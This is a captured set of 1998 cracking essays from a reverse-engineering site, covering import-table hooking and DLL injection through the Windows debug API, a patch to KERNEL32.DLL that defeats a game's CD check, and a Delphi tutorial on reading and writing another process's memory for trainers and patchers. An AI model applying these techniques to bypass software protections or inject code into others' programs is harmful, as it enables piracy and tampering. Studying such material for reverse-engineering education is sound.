what we wish to do is to let the api-call the program performs be
surrounded by our code so that we can make it perform in every way we wish.
Certain side benefits will come along as well. The code I present will
show how it's possible to introduce breakpoints in an automated debugger
which is indeed something very useful for the creation of for instance
unpackers.

Again let's get down to it. A PE-file "imports" the functions it wishes
to make use of. Because MS-developers decieded on a dynamic structure for
API's it's obviously neasesary for each program to declare what functions it
uses.
This is done in a so called import table. Let's now take a deeper look

http://www.instinct.org/fravia/stone1.htm (3 of 8) [2/7/2001 3:08:04 PM]


stone1.htm: In memory patching: three approaches

into what takes place between the importtable in the PE-file and the
execution of an API call by the target.

3 basic types of information is stored in the importtable. The first is


DLL names, the second is function names and the third is a Thunk-RVA.
The information is stored in a structure that looks something like this:

DLL1-Name
Function1-from-dll1- name or ordinal
Thunk-RVA of Function 1 of DLL 1
Function2-from-1dll-name or ordinal
Thunk-RVA of Function 2 of DLL 1
....

DLL2-Name
Function1-from-dll2- name or ordinal
Thunk-RVA of Function 1 of DLL 2
Function2-from-1dl2-name or ordinal
Thunk-RVA of Function 2 of DLL 2
....
...

What windows does while loading the PE-file is traverse thru this table
following this "pseudo code":

While more DLL's do


{ Load DLL into process addressing space
While More Functions imported from current DLL do
{ Find address of Function and write this to the Thunk-VA
for
this Function
}
}
END Load Imports

The function may be listed by name or something called ordinal. In every


DLL each function that it exports for use by other programs is listed in an
export directory (which is where windows find the address of the
imported function) in this list each DLL is assigned a number and usually
a name too.
The number is called ordinal. Importing can be done either by
referencing this ordinal value or by using the name.

What the program then does when it's in need of the API-function it is
this: CALL Dword ptr [Thunk VA of needed function]

Lets for a second imagine that we could stop execution of the target
process right before it started and then inject our own code in to it's
addressing space. Then we could simply replace the value at any Thunk-VA
with a pointer to our own code and our code would be executed every time
the program decieded to use this API.

http://www.instinct.org/fravia/stone1.htm (4 of 8) [2/7/2001 3:08:04 PM]


stone1.htm: In memory patching: three approaches

We could even save the old pointer and use this to chain
the original intended API-code. Weeeeeee.. "Isn't this just great?" as
Oprah Winfrey would say. "No, it is not", as I would reply.

We are left with a new problem. Or rather two. The first is stopping
Execution of the target process before the program runs the first
instruction so that we can be sure that our new pointers are in order.
Second we're left the great problem of having code in the target's addressing
space.

Solving a problem at the time we start by examining how we can stop our
target process. Many people always state that windows is overbloated and
perhaps they are right - but in this case I'd say that it's damn
convinient that MS-engeneers made a full-featured debug interface while
designing API calls so that we could with the greatest of ease program a
debugger without having to do the low-level work ourselves.

Infact they made it so that not one line of ring 0 code has to be
written to make an application debugger.
"Isn't this just great?" as Oprah would phrase it? "Yes it is, maam" as
I would reply. Because it get's even better. Windows engineers must've
actually been thinking the day they made windows. What good is a
full-featured debug interface if the poor programmer has to make a
PE-loader before he can even start debugging. Hey after all they already
made a loader and they decieded to be helpful. CreateProcessA can open a
process in Debug mode.
This means that inside of most windows's procedures hides status
breakpoints that'll turn over the control to our debugger thru that
interface. One of these status breakpoints triggers just before windows
is about to turn over control to the just loaded PE-file. Convinient!

Obviously if a process is in debug mode execution is suspended everytime


a debug event occurs. A debug event is any non-handled exception.
Pagefaults, breakpoints, division overflows, etc.

And there are 6 different types of status breakpoints inside windows


that'll be triggering like Rambo in Iraq.
So basically we need to send a message from our debugger process that
it's ok to continiue every time we have encountered such an event. Ofcause if
it's the event we've been looking for we need to do whatever it is we wish to
do before giving the green light to run on. This is the reason behind the
loop of kernel32!WaitForDebugEvent and kernel32!ContiniueDebugEvent
in my code.

So now we know how to stop the program before it actually started. If


you read the previous section you'll know how to exchange pointers. This
leaves us with a grave problem. Injecting our code into the target's
addressing space.
Now this can be done in many ways indeed. We'll just be looking the one
I chose.

What I'll try to obtain is making the program load a DLL for me. This
ofcause isn't something th program is willing to do without force. Fortunately

http://www.instinct.org/fravia/stone1.htm (5 of 8) [2/7/2001 3:08:04 PM]


stone1.htm: In memory patching: three approaches

for the moment I'm President Clinton and the security counsil has agreed to
bomb the target until it conforms to my ideas. The scene is set at the status
breakpoint just before the target is about to start execution. It is
fully loaded and ready to go. However we're sitting comfortably with it
suspended far far away in our own addressing space. The first thing we got to
agree on is how it is we actually want's the target to do. Load OUR dll, find
the process address of OUR function, replace the one found at the THunk-VA
of the original. We now constuct code that will do just that in deltaoffset
so that it can be inserted anywhere. Prior to actually running the program
we found a page within the target that allowed execution. Most pages in the
target allows execution but we just need one. We now read the page out
the Process space of the target into our own and stores it safely. This is
done thru another subfunction of INT 2eh which ofcause also overrides
pageprotection etc. The API is: kernel32!ReadProcessMemory
See Natzguls essay for a more thourough breakdown of this function. Now
we write our own code that loads a DLL, finds the address of our function
and replaces the Thunk-VA entry of the function with ours.

Now were ready to go? No. We're left with the problem that execution
should be left otherwise unchanged so that we've written a page somewhere is
bad news. So in addition to the code we appended we add an INT 3 which will
when executed cause a debug event and once more suspend the target allowing
us to restore the page. Unfortunately EIP of the target does not
neassesarely point to our page, further we use all the registers and those
needs to be restored too.

So where do we turn? Windows internal knowledge. Upon creation


that is prior to running any actual program code any one process has one
and one thread only. Further windows allows debuggers to fetch the Context
of a thread. That is all relevant information about the threads current
status. Such a context was originally intended for preemptive multitasking so
that when ever the OS suspended execution of the thread to do another the
context was saved, the address space swapped and another threads context was
restored it's process's address space swapped in place and it was allowed to
continue.
One should be aware that while a thread indeed has full context it's
partly shared with that of the other threads in the process. E.g. the FPU is
shared between threads in a process. Since we only got one thread in our
process the terms of thread and process is incidental.
We ofcause now read the context of our target's single thread, saves it
then changes the EIP in it an resets it to point to our page of code in the
target processspace. Ofcause our code will now execute till the int 3 we
inserted is reached, then it's suspended and control is back with us. We
now reset the context of the thread and restore the page we abused for
our code. Then we simply let it run.

There is one last unfortunate thing about letting it run. If a process


was created in Debug mode it stays in debug mode till it's terminated. That
means that we need to stay in a loop of WaitForDebugEvent/COntiniueDebugEvent
until that time where the process is actually terminated or the program will
suspend itself and wait for our instructions. This wasn't too smart MS!

Practical notes on the debug approach

http://www.instinct.org/fravia/stone1.htm (6 of 8) [2/7/2001 3:08:04 PM]


stone1.htm: In memory patching: three approaches

A last side note should be mentioned here. While I was doing this code I
encountered a bug in windows NT workstation 4.0 build 1381. It might
exist on other versions too. Code inside windows looks like this:
mov eax, [offset of Context Storeing space in debugger code]
; this is obvioulsy a parameter
mov ebx, [Temporaly variable containing ring level of debugger]
test eax,ebx
jnz insuficient_security
everything Ok.
Obviously this is wrong. To overcome this bug make sure that the offset
where you store your context and'ed with 3 is 0.

Further finding the ChunkVA of an imported function can easily be done


by dumping the PE-file with Matt Pietreks PE-dump or similar. He gives the
first chunk for each DLL, if your function isn't the first you add 4 bytes
each time you need to move a line down to find our function.

The sourcecodes for this can be found at:


http://www.one.se/~stone/general/stnapih.arj

---------------------------------------------------------------------

The MessageHook Approach

Forthcoming

source is forthcoming

---------------

Literature

MadMax! (1998) - madmasu.htm: Cracking useing kernel32??, by MadMax Feb 1998.


@ http://fravia.org
Natzgul (1998) - natz_mp2.htm: How to access the memory of a process, a Tutorial,
by Natzgul Feb 1998, @ http://fravia.org

Pietrek, Matt - Windows 95 System Programming Secrets, IDG books 1995.

Various sourcecodes by Me :).. all can be found on my page


http://www.one.se/~stone

Thanks must go to:


Patriarch / PWA, friend roomate and local expert.
Random / Xforce, God of the PE-format
Net Walker / Brazil
United Cracking Force, my personal benefactor.
All of which I had many enlightning discussions with.

http://www.instinct.org/fravia/stone1.htm (7 of 8) [2/7/2001 3:08:04 PM]


stone1.htm: In memory patching: three approaches

email: stone(at)one(point)se
http://www.one.se
Stone/UCF'98
2nd&mi!
-----
doc end

kind regards

Stone / United Cracking Force '98

(c) 1998 Stone All rights reversed

You are deep inside fravia's page of reverse engineering, choose your way out:

Back to Advanced cracking

Back to the Papers section

homepage links anonymity +ORC students' essays academy database


tools cocktails javascripts wars antismut CGI-scripts search_forms mail_fravia+
Is reverse engineering legal?

http://www.instinct.org/fravia/stone1.htm (8 of 8) [2/7/2001 3:08:04 PM]


madmasu.htm: An Unorthodox Win95 TSR Crack

Cracking using KERNEL32.DLL??


Amazing how things dont change! Advanced

04 March 1998 by madmax!


Courtesy of Fravia's page of reverse engineering
Tsch tsch, madmax! Playing with kernel!
And THAT is exactly what makes the difference between master
crackers and beginners!
What does a real reverser do? He reverses, of course :-)
fra_00F0 Now, see, we have this windows overbloated world we must all
980304 swim inside... huge, heavy, slow applicationosauriers, stupidly
madmax! chewing routines on the code planes... and look! The great
0010 reverser hunters come! Approaching swift, from beneath the
AD codetrees! Man, that's an unfair match for the dick overbloated
P4 windoze protectors!
The reversers are CLEVER! They use TOOLS! They use dos and
unix knowledge, and sharp assembly knives... and so the stupid,
almost brainless applicationosurus lays dead... reversed in a pool
of bloody code... have a good meal! burp!
There is a crack, a crack in everything That's how the light
gets in
Rating ( )Beginner ( )Intermediate (X)Advanced (X)Expert NO beginner

This essay will be like nothing you've ever read. This essay does get a bit detailed and will lose those not
intimately familiar with Win95/NT and its inner guts. It will show how a program that seems unpatchable can be,
through our last resort =)

Cracking using KERNEL32.DLL??


Amazing how things don't change!
Written by madmax!

Introduction
Deep within the Internet lies a great game...Subspace, by VIE(Virgin)
Having gone retail just recently, it was a matter of time till the
protection came...And it did, quite well I might add. How do we fix
a program that has CRC checks on itself and the memory it resides
in (active checking)???

http://www.instinct.org/fravia/madmasu.htm (1 of 5) [2/7/2001 3:08:08 PM]


madmasu.htm: An Unorthodox Win95 TSR Crack

Tools required
Winice 3.22
Hiew 5.66
W32Dasm 8.9 (Regged helps)
API Knowledge (Win32.Hlp will do)

Target's URL/FTP
Not available except in Demo =( You have to get 1.32 from Hybrid and get Regged update from
http://subspace.vie.com/

Program History
First Protection Scheme

Essay
SubSpace, an online game has been around for a while now. I always found it hard to cheat in...I only did it for
fun, not to ruin the game. But now the retail version came out and has added a CD-Check....Woohoo! Time to
crack the ol' knuckles and sit down... If you have the retail, you will notice nothing different about the game till
you go to play and a "Please insert CD..." msg flashes with a time limit... This brought a smile to my face, but little
did I know...So I jump in Winice immediately and:
BPX GetDriveTypeA (Commonly used in Cd-Checks to find the CDROM)

It catches and I'm then in SubSpace code...The usual routine has the following pattern:

Find CDROM drive letter (GetDriveTypeA)


Get space free on CD (GetDiskSpaceFreeA)
If zero, then CD OK
Get Label of CD (GetVolumeInformationA)
IF label == 'SUBSPACE', then CD OK
Open 'INTRO.FLC' in CD Root Dir. (CreateFileA)
If exist, then CD OK
Get filesize of INTRO.FLC (GetFileSize?)
Cmp filesize to certain #
If equal, set a flag
I won't bother with source since most people reading this won't have access to the target, thus it means
nothing...The more interesting part, and the point of this essay, is how we get around the check...We could just
patch it with HIEW and go on, but a CRC check stops us...We patch the crc check, and memory checksums get
us...Hard to debug since Winice's breakpoints(0CCh) throw off the values...So what do we do?? Well, I looked into
API Hooking (Which IS NOT a prostitute with a Computer Science Degree =) and it didn't look promising...Then I
get a flashback, thinking back to my AsmEdit essay.. TSR Crack! But this isn't the good ol' DOS environment,
there is not a AX=25XX, INT 21h function for Winblows...So where would our point of attack be...Windows
ITSELF!

http://www.instinct.org/fravia/madmasu.htm (2 of 5) [2/7/2001 3:08:08 PM]


madmasu.htm: An Unorthodox Win95 TSR Crack

I got this idea while attempting to fix a nuker on my own that had spread on IRC...Messing with important Win95
files is dangerous, toying with the kernel is just crazy...So we know SubSpace's first call in its protection scheme is
to GetDriveTypeA..This API returns a 2 for floppies, 3 for HDs, and a 5 for CDROM (Other values dont interest
us)...So I get this idea that we will essentially attack this protection like a FAKECD program would...We would
emulate the files needed on our HD somewhere while a TSR emulates a CD
But were going to do this runtime...In Winice, type:
U GetDriveTypeA
You will see the assembly code for the API..write a portion of the code so we will find it on disk in kernel32.dll (I
can't give my example because there are too many kernel32.dll's out there) But basically you have a short routine
that does some weird compares and then goes on to another API with a JMP.....Like this:

:BFF777C4 57 push edi


:BFF777C5 6A21 push 00000021
:BFF777C7 2BD2 sub edx, edx
:BFF777C9 68EFE2F9BF push BFF9E2EF
:BFF777CE 64FF32 push dword ptr fs:[edx]
:BFF777D1 648922 mov dword ptr fs:[edx], esp
:BFF777D4 8B7C2414 mov edi, dword ptr [esp+14]
:BFF777D8 0BFF or edi, edi
:BFF777DA 7407 je BFF777E3
:BFF777DC 2BC0 sub eax, eax
:BFF777DE 8D48FF lea ecx, dword ptr [eax-01]
:BFF777E1 F2 repnz
:BFF777E2 AE scasb

* Referenced by a Jump at Address:BFF777DA(C)


|
:BFF777E3 648F02 pop dword ptr fs:[edx]
:BFF777E6 83C408 add esp, 00000008
:BFF777E9 5F pop edi
:BFF777EA E9E5D4FFFF jmp BFF74CD4
So we have this small routine..Where do we put our code?!? Well, lets set a BPX on that JE and see if it ever
actually jumps... So BPX BFF777DA and run through Explorer or something that trips the BPX. You will see that
nothing ever makes that damn JE jump! So we can assume (mainly because MS wrote it =) that this routine has
little worth..So lets modify and optimize it:
(This routine is first called by SubSpace for the drive C:)

:BFF777C4 57 xor edx,edx ; the only instr. kept


:BFF777C5 6A21 mov eax,[esp] ; get calling routine
:BFF777C7 2BD2 cmp eax,413e6e ; is it SS CD-Check?
:BFF777C9 68EFE2F9BF jnz BFF777EA ; if not, continue API
:BFF777CE 64FF32 mov [esp+4],eax ; save return address
:BFF777D1 648922 pop eax ; inc ESP by 4
:BFF777D4 8B7C2414 mov eax,5 ; we are a CDROM!
:BFF777D8 0BFF ret
:BFF777DA 7407 je BFF777E3 ; useless MS stuff
:BFF777DC 2BC0 sub eax, eax ; HERE!

http://www.instinct.org/fravia/madmasu.htm (3 of 5) [2/7/2001 3:08:08 PM]


madmasu.htm: An Unorthodox Win95 TSR Crack

:BFF777DE 8D48FF lea ecx, dword ptr [eax-01]


:BFF777E1 F2 repnz
:BFF777E2 AE scasb

* Referenced by a Jump at Address:BFF777DA(C)


|
:BFF777E3 648F02 pop dword ptr fs:[edx]
:BFF777E6 83C408 add esp, 00000008
:BFF777E9 5F pop edi
:BFF777EA E9E5D4FFFF jmp BFF74CD4
As you can see, we have intercepted this API quite brutally...We are checking to see whether it was called by
SubSpace everytime it runs...Simple enough! Now that we have fooled it to think C: is a CDROM drive, we move
on to the Disk space free check:
(The original is similar to above, but with more garbage...Which helps, because this routine is a bit bigger...Heres
the new and improved routine!)

:BFF778C5 2BD2 xor edx,edx ; All MS is good for?


:BFF778C7 68B8E2F9BF mov eax,[esp] ; get calling address
:BFF778CC 64FF32 cmp eax,491E22 ; is it SubSpace?
:BFF778CF 648922 jnz BFF77900 ; if not, continue API
:BFF778D2 8B4C240C add esp,14h ; Real API returns alot
:BFF778D6 E302 mov [esp],eax ; return point
:BFF778D8 8A01 mov [esp+18],eax ; where spacefree is ret.
:BFF778DA 8B4C2410 ret ; go back...
:BFF778DE E302 jcxz BFF778EA ; rest of MS stuff
:BFF778E0 8B01 mov eax, dword ptr [ecx]
:BFF778E2 8B4C2414 mov ecx, dword ptr [esp+14]
:BFF778E6 E302 jcxz BFF778EA
:BFF778E8 8B01 mov eax, dword ptr [ecx]
:BFF778EA 8B4C2418 mov ecx, dword ptr [esp+18]
:BFF778EE E302 jcxz BFF778F2
:BFF778F0 8B01 mov eax, dword ptr [ecx]
:BFF778F2 8B4C241C mov ecx, dword ptr [esp+1C]
:BFF778F6 E302 jcxz BFF778FA
:BFF778F8 8B01 mov eax, dword ptr [ecx]
:BFF778FA 648F02 pop dword ptr fs:[edx]
:BFF778FD 83C404 add esp, 00000004
:BFF77900 E954D5FFFF jmp BFF74E59
So, we intercepted this routine and forced it to return 0 for disk space free, like a CDROM...Now the only part left
is the label check and the file check...
So simply, we label our C: drive SUBSPACE, and with a little asm program I stewed up, we make a file that is
37,433,486...Apply these patches to the KERNEL32.DLL and reboot... Cross your fingers and it will not crash!

Final Notes

http://www.instinct.org/fravia/madmasu.htm (4 of 5) [2/7/2001 3:08:08 PM]


madmasu.htm: An Unorthodox Win95 TSR Crack

This is indeed an interesting way of approaching a crack...I've never seen anyone use this method, probably
because its so dangerous and has compatibility problems...I wanted to spread the idea I found to others so they may
consider this technique in the future...The main problem with using KERNEL32.DLL is that MS has so many
damn versions of it, its crazy to make a patch for em all...
Amazing, no matter how far DOS goes away, its roots still follow us in cracking! TSR cracking is kind of a hobby
of mine =) It's different!
PS - If you play SubSpace alot, buy the game...It's like 30 bux or something. I did this because I wanted the
challenge! =)

Oh Duh
I wont even bother explaining you that you should BUY this target program if you intend to use it for a longer
period than the allowed one. Should you want to STEAL this software instead, you don't need to crack its
protection scheme at all: you'll find it on most Warez sites, complete and already regged, farewell.

You are deep inside fravia's page of reverse engineering, choose your way out:

Back to advanced cracking

homepage links search_forms +ORC students' essays academy database


reality cracking how to search javascript wars
tools anonymity academy cocktails antismut CGI-scripts mail_fravia+
Is reverse engineering legal?

______________________________________________________ Get Your Private, Free Email at


http://www.hotmail.com

http://www.instinct.org/fravia/madmasu.htm (5 of 5) [2/7/2001 3:08:08 PM]


natz_mp2.htm HOW TO ACCESS THE MEMORY OF A PROCESS (i.e. Game Trainer, Process Patcher etc.)

HOW TO ACCESS THE


MEMORY OF A PROCESS (i.e.
Game Trainer, Process Patcher etc.) Our Tools
Deep into Windows
17 February 1998 by NaTzGUL
Courtesy of Fravia's page of reverse engineering
NaTzGUL: a great cracker (as Quine pointed out long ago).
This essay-tutorial is a valuable contribution to the "Our tools"
section, since what you'll learn here will be of paramount
fra_00xx
importance when working in the 'guts' of this awful operating
980217
system the world is compelled to live with.
NaTzGUL
Yes, dear reader, you'll slowly learn how to program (in the
0110
most REAL sense of the word) in windows... in order to bend Advanced
OT
this overbloated operating system to your twisted purposes :-)
AD
Enjoy! It's fundamental 'required' reading... read it twice (at
least) and then work on this... you'll be a much more powerful
wizard when you are finished with this...
There is a crack, a crack in everything That's how the light
gets in
Rating ( )Beginner (x)Intermediate (x)Advanced ( )Expert

A fundamental essay for intermediate and advanced crackers. This tutorial's subjects are of paramount importance for any
serious probe-building.

HOW TO ACCESS THE MEMORY OF A PROCESS


(i.e. Game Trainer,Process Patcher etc.)
Deep into window
Written by NaTzGUL

Introduction
INTRO: Yup ! iam back from lazyness =)
Hello and Welcome to my new tut.
This time it concerns, how to access the memory of a Process, i.e. write
and read access.
This is actually nothing new and the Game Trainer Scene proves it to us
daily.
The problem under win95 is actually that a Process has no rights to access
the memory of another Process (above all not the code).
In this tut I will show you methods and the functions to bypass this problem.
Lotta people has spoken about these functions, but no one did somewhat
useful with them until now (except the Trainer Scene),
however this is my contribution to fill this gap and of course a few examples

http://www.instinct.org/fravia/natz_mp2.htm (1 of 18) [2/7/2001 3:08:17 PM]


natz_mp2.htm HOW TO ACCESS THE MEMORY OF A PROCESS (i.e. Game Trainer, Process Patcher etc.)

how to use them for cracking purposes were included.

Target's URL/FTP
TARGET: ANY EXE (FLAT MODEL !)

Essay
Author : NaTzGUL
Email : natzgul@hotmail.com

HOW TO ACCESS THE MEMORY OF A PROCESS (i.e. Game Trainer,Process Patcher etc.)

TUT: At first I will list you the mentioned functions we wanna use :
(These functions are actually meant for debugging)

KERNEL32!ReadProcessMemory
KERNEL32!WriteProcessMemory

Now the Descriptions from win32.hlp:

The ReadProcessMemory function reads memory in a specified process.


The entire area to be read must be accessible, or the operation fails.

BOOL ReadProcessMemory(

HANDLE hProcess, // handle of the process whose memory is read


LPCVOID lpBaseAddress, // address to start reading
LPVOID lpBuffer, // address of buffer to place read data
DWORD cbRead, // number of bytes to read
LPDWORD lpNumberOfBytesRead // address of number of bytes read
);

Parameters

hProcess

Identifies an open handle of a process whose memory is read.


The handle must have PROCESS_VM_READ access to the process.

lpBaseAddress

Points to the base address in the specified process to be read.


Before any data transfer occurs, the system verifies that all data in the
base address and memory of the specified size is accessible for read access.
If this is the case, the function proceeds; otherwise, the function fails.

http://www.instinct.org/fravia/natz_mp2.htm (2 of 18) [2/7/2001 3:08:17 PM]


natz_mp2.htm HOW TO ACCESS THE MEMORY OF A PROCESS (i.e. Game Trainer, Process Patcher etc.)

lpBuffer

Points to a buffer that receives the contents from the address space of
the specified process.

cbRead

Specifies the requested number of bytes to read from the specified process.

lpNumberOfBytesRead

Points to the actual number of bytes transferred into the specified buffer.
If lpNumberOfBytesRead is NULL, the parameter is ignored.

Return Value

If the function succeeds, the return value is TRUE.


If the function fails, the return value is FALSE.
To get extended error information, call GetLastError.
The function fails if the requested read operation crosses into an area of
the process that is inaccessible.

Remarks

ReadProcessMemory copies the data in the specified address range from the
address space of the specified process into the specified buffer of the
current process.
Any process that has a handle with PROCESS_VM_READ access can call the
function.
The process whose address space is read is typically, but not necessarily,
being debugged.
The entire area to be read must be accessible.
If it is not, the function fails as noted previously.

The WriteProcessMemory function writes memory in a specified process.


The entire area to be written to must be accessible, or the operation fails.

BOOL WriteProcessMemory(

HANDLE hProcess, // handle of process whose memory is written


to
LPVOID lpBaseAddress, // address to start writing to
LPVOID lpBuffer, // address of buffer to write data to
DWORD cbWrite, // number of bytes to write
LPDWORD lpNumberOfBytesWritten // actual number of bytes written
);

Parameters

hProcess

Identifies an open handle of a process whose memory is to be written to.

http://www.instinct.org/fravia/natz_mp2.htm (3 of 18) [2/7/2001 3:08:17 PM]


natz_mp2.htm HOW TO ACCESS THE MEMORY OF A PROCESS (i.e. Game Trainer, Process Patcher etc.)

The handle must have PROCESS_VM_WRITE and PROCESS_VM_OPERATION access to the process.

lpBaseAddress

Points to the base address in the specified process to be written to.


Before any data transfer occurs, the system verifies that all data in the base
address
and memory of the specified size is accessible for write access.
If this is the case, the function proceeds; otherwise, the function fails.

lpBuffer

Points to the buffer that supplies data to be written into the address space of the
specified process.

cbWrite

Specifies the requested number of bytes to write into the specified process.

lpNumberOfBytesWritten

Points to the actual number of bytes transferred into the specified process.
This parameter is optional. If lpNumberOfBytesWritten is NULL, the parameter is
ignored.

Return Value

If the function succeeds, the return value is TRUE.


If the function fails, the return value is FALSE.
To get extended error information, call GetLastError.
The function will fail if the requested write operation crosses into an area
of the process that is inaccessible.

Remarks

WriteProcessMemory copies the data from the specified buffer in the current process
to the address range of the specified process.
Any process that has a handle with PROCESS_VM_WRITE and PROCESS_VM_OPERATION access
to the process to be written to can call the function.
The process whose address space is being written to is typically, but not
necessarily,
being debugged.
The entire area to be written to must be accessible.
If it is not, the function fails as noted previously.

TUT: To call both functions we need :

HANDLE hProcess = ? // handle of process


LPVOID lpBaseAddress, = your choice // address to start reading/writing
LPVOID lpBuffer, = your choice // address of buffer to read/write
data
DWORD cbWrite, = your choice // number of bytes to read/write

http://www.instinct.org/fravia/natz_mp2.htm (4 of 18) [2/7/2001 3:08:17 PM]


natz_mp2.htm HOW TO ACCESS THE MEMORY OF A PROCESS (i.e. Game Trainer, Process Patcher etc.)

LPDWORD lpNumberOfBytesWritten = NULL // actual number of bytes


read/written

Now, looks nevertheless already quite promising heh ;)

So the only thing we need is the Handle of the Process we want to access.

A Process can call "KERNEL32!GetCurrentProcess" to get a pseudo-handle of itself.


This pseudo-handle has the maximum possible access to the process object (memory).

If we want to address however another Process we must proceed differently.


I know two methods to get a Process Handle of another Process :

1. with USER32!FindWindowA,USER32!GetWindowThreadProcessId and KERNEL32!OpenProcess


2. with KERNEL32!CreateProcess

METHOD1:
----------------

A Game Trainer use this method by the way.

A Process is like everything else in win95 also only an Object,


this means we can open it with "KERNEL32!OpenProcess" to get a Handle.
And you betterdon't forget to close it with
"BOOL KERNEL32!CloseHandle (hProcess)" later on.
Otherwise the Process image will remain in the memory and waste space
when the Process terminates.
Here is the Description of it from win32.hlp:

The OpenProcess function returns a handle of an existing process object.

HANDLE OpenProcess(

DWORD fdwAccess, // access flag


BOOL fInherit, // handle inheritance flag
DWORD IDProcess // process identifier
);

Parameters

fdwAccess

Specifies the access to the process object. For operating systems that support
security
checking, this access is checked against any security descriptor for the target
process.
Any combination of the following access flags can be specified in addition to
the STANDARD_RIGHTS_REQUIRED access flags:

Access Description
PROCESS_ALL_ACCESS Specifies all possible access flags for the process
object.

http://www.instinct.org/fravia/natz_mp2.htm (5 of 18) [2/7/2001 3:08:17 PM]


natz_mp2.htm HOW TO ACCESS THE MEMORY OF A PROCESS (i.e. Game Trainer, Process Patcher etc.)

PROCESS_CREATE_PROCESS Used internally.


PROCESS_CREATE_THREAD Enables using the process handle in the
CreateRemoteThread function to create a thread in the
process.
PROCESS_DUP_HANDLE Enables using the process handle as either the source
or target process in the DuplicateHandle function to
duplicate a handle.
PROCESS_QUERY_INFORMATION Enables using the process handle in the
GetExitCodeProcess and GetPriorityClass functions
to read information from the process object.
PROCESS_SET_INFORMATION Enables using the process handle in the
SetPriorityClass
function to set the priority class of the process.
PROCESS_TERMINATE Enables using the process handle in the
TerminateProcess
function to terminate the process.
PROCESS_VM_OPERATION Enables using the process handle in the
VirtualProtectEx
and WriteProcessMemory functions to modify the
virtual
memory of the process.
PROCESS_VM_READ Enables using the process handle in the
ReadProcessMemory
function to read from the virtual memory of the
process.
PROCESS_VM_WRITE Enables using the process handle in the
WriteProcessMemory function to write to the virtual
memory of the process.
SYNCHRONIZE Windows NT: Enables using the process handle in any
of
the wait functions to wait for the process to
terminate.

fInherit

Specifies whether the returned handle can be inherited by a new process created by
the current process. If TRUE, the handle is inheritable.

IDProcess

Specifies the process identifier of the process to open.

Return Value

If the function succeeds, the return value is an open handle of the specified
process.
If the function fails, the return value is NULL. To get extended error information,
call GetLastError.

Remarks

The handle returned by the OpenProcess function can be used in any function
that requires a handle to a process, provided the appropriate access rights
were requested.

http://www.instinct.org/fravia/natz_mp2.htm (6 of 18) [2/7/2001 3:08:17 PM]


natz_mp2.htm HOW TO ACCESS THE MEMORY OF A PROCESS (i.e. Game Trainer, Process Patcher etc.)

TUT: To call this function we need :

DWORD fdwAccess = PROCESS_ALL_ACCESS (Thx to Micro$oft ;) // access flag


BOOL fInherit = FALSE // handle inheritance
flag
DWORD IDProcess = ? // process identifier

Use "KERNEL32!GetCurrentProcessId" to get an ID of the current Process.

To get the ID of another Process we must proceed differntly again.


To find out if a certain Process allready exist we call USER32!FindWindowA
which will look for a Window with a certain title and then return its handle.
With this window handle we then finally call GetWindowThreadProcessId to get
the process identifier.

Here is the Description of both function from win32.hlp:

The FindWindowA function retrieves the handle of the top-level window whose class
name
and window name match the specified strings. This function does not search child
windows.

HWND FindWindowA(

LPCTSTR lpClassName, // address of class name


LPCTSTR lpWindowName // address of window name
);

Parameters

lpClassName

Points to a null-terminated string that specifies the class name or is an atom that
identifies the class-name string. If this parameter is an atom, it must be a global
atom created by a previous call to the GlobalAddAtom function.
The atom, a 16-bit value, must be placed in the low-order word of lpClassName;
the high-order word must be zero.

lpWindowName

Points to a null-terminated string that specifies the window name (the window's
title).
If this parameter is NULL, all window names match.

Return Value

If the function succeeds, the return value is the handle of the window that has the
specified class name and window name.
If the function fails, the return value is NULL. To get extended error information,
call GetLastError.

http://www.instinct.org/fravia/natz_mp2.htm (7 of 18) [2/7/2001 3:08:17 PM]


natz_mp2.htm HOW TO ACCESS THE MEMORY OF A PROCESS (i.e. Game Trainer, Process Patcher etc.)

TUT: To call this function we need :

LPCTSTR lpClassName = NIL // address of class name


LPCTSTR lpWindowName = your choice // address of window name

The GetWindowThreadProcessId function retrieves the identifier of the thread that


created the specified window and, optionally, the identifier of the process that
created the window. This function supersedes the GetWindowTask function.

DWORD GetWindowThreadProcessId(

HWND hWnd, // handle of window


LPDWORD lpdwProcessId // address of variable for process identifier
);

Parameters

hWnd

Identifies the window.

lpdwProcessId

Points to a 32-bit value that receives the process identifier.


If this parameter is not NULL, GetWindowThreadProcessId copies the identifier of the
process to the 32-bit value; otherwise, it does not.

Return Value

The return value is the identifier of the thread that created the window.

TUT: To call this function we need :

HWND hWnd = result from FindWindowA // handle of window


LPDWORD lpdwProcessId = your choice // address of variable for
process identifier

We are now able to write a function which will relieve the access to a Process for
us.
I wrote this function in Delphi3. If someone asks for the assembler or c version,
then I will write one for you too, but at this time iam to lazy ;)
Anyway, it should not be that hard to figure it out yourself !
Here thus the Delphi version of the mentioned function:

http://www.instinct.org/fravia/natz_mp2.htm (8 of 18) [2/7/2001 3:08:17 PM]


natz_mp2.htm HOW TO ACCESS THE MEMORY OF A PROCESS (i.e. Game Trainer, Process Patcher etc.)

(This function will in most cases find its use in a trainer i think)
type access_info = record error :integer; hwindow :integer; thread_id :integer; process_id :integer; hprocess :integer; end;
function AccessProcess ( access_type :integer; wtitle :string; address :integer; buffer :PByteArray; b_count :integer
):access_info; var temp :integer; begin result.error:=0; if wtitle<>'' then begin result.hwindow:=FindWindowA
(nil,pchar(wtitle)); if result.hwindow<>0 then begin result.thread_id:=GetWindowThreadProcessId
(result.hwindow,@result.process_id); result.hprocess:=OpenProcess (PROCESS_ALL_ACCESS,false,result.process_id); if
result.hprocess<>0 then begin temp:=0; case access_type of 0 : ; 1 : if not(ReadProcessMemory
(result.hprocess,pointer(address),buffer,b_count,temp)) then result.error:=4; 2 : if not(WriteProcessMemory
(result.hprocess,pointer(address),buffer,b_count,temp)) then result.error:=5; else result.error:=6; end; CloseHandle
(result.hprocess); end else result.error:=3; end else result.error:=2; end else result.error:=1; end; <hr> The possible
access-types of the function : 0 = Only get Info 1 = Read 2 = Write Possible Error Codes : 0 = No Error. 1 = Window-Title is
emty. 2 = Can't find the Window with the specified title. 3 = Can't open the Process. 4 = Read Error. 5 = Write Error. 6 = Not
supported access-type.

METHOD2:
----------------

In this chapter we are going to write a Process Patcher.


A Process Patcher will do the following tasks :

- Getting commandline
- Create new process and handle commandline to it
- Wait until the process was fully initialized
- Patch the process
- Finally terminate and leave the new process alone

A Process Patcher will be usefull if ...

1. the exe was compressed (i.e. Shrinker)


2. the exe was encrypted (i.e. PE-Crypt)
3. the app performs a CRC-Check on the exe
4. the exe was modified in any other way

With a Process Patcher you dont have to care about the exe anymore, because it will
patch the Process like in the first method of this tut.
